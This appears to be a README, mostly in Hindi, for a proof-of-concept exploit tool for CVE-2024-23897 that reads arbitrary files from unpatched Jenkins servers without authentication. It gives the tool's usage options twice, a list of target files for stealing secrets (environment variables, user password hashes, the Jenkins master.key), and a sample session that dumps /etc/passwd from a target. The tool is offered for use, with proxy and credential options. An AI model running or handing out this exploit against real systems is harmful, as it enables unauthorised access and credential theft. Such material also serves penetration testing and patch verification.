
CVE-2024-23897 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट जो जेनकिंस सर्वरों पर अप्रमाणित मनमाना फ़ाइल पढ़ने में सक्षम बनाता है। प्रमाणित सत्र, प्रॉक्सी और फ़ाइल सहेजने का समर्थन करता है।
usage: jenkins_fileread.py [-h] -u URL [-a USERAGENT] [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v] [--username USERNAME] [--password PASSWORD]
POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u, --url URL Jenkins URL
-a, --useragent USERAGENT
User agent to use when sending requests
-f, --file FILE File path to read
-t, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p, --proxy PROXY HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag
--username USERNAME Jenkins username for authentication
--password PASSWORD Jenkins password or API token for authentication
यह प्रूफ-ऑफ-कॉन्सेप्ट (POC) CVE-2024-23897 का शोषण करके जेनकिंस सर्वर <= संस्करण 2.441 पर फ़ाइल-पढ़ने की पहुंच प्राप्त करने के लिए उपयोग किया जा सकता है।
जेनकिंस 2.441 और पुराने, LTS 2.426.2 और पुराने अपने CLI कमांड पार्सर की एक सुविधा को अक्षम नहीं करते हैं जो किसी तर्क में @ वर्ण और फ़ाइल पथ को फ़ाइल की सामग्री से बदल देती है, जिससे अप्रमाणित हमलावर जेनकिंस नियंत्रक फ़ाइल सिस्टम पर मनमानी फ़ाइलें पढ़ सकते हैं।
गंभीरता: 7.5 उच्च वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
इस भेद्यता की एक गंभीर सीमा है, क्योंकि बाइनरी फ़ाइलों को पूरी तरह से नहीं पढ़ा जा सकता है। कुछ सादा पाठ गैर-बाइनरी फ़ाइलें जो रुचिकर हो सकती हैं:
/proc/self/environ JENKINS_HOME सहित पर्यावरणीय चर/proc/self/cmdline कमांड-लाइन तर्क/etc/hosts लिनक्स स्थानीय-DNS समाधान/etc/passwd लिनक्स उपयोगकर्ता खाते/var/jenkins_home/users/users.xml उपयोगकर्ता खाता संग्रहण स्थान/var/jenkins_home/users/<user_directory>/config.xml उपयोगकर्ता BCrypt पासवर्ड हैश/var/jenkins_home/secrets/master.key एन्क्रिप्शन गुप्त कुंजीusage: jenkins_fileread.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag
$ jenkins_fileread.py -u http://<target-ip>:8080
Welcome to the Jenkins file-read shell. Type help or ? to list commands.
file> /etc/passwd
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
root:x:0:0:root:/root:/bin/bash
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
jenkins:x:1000:1000::/var/jenkins_home:/bin/bash
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync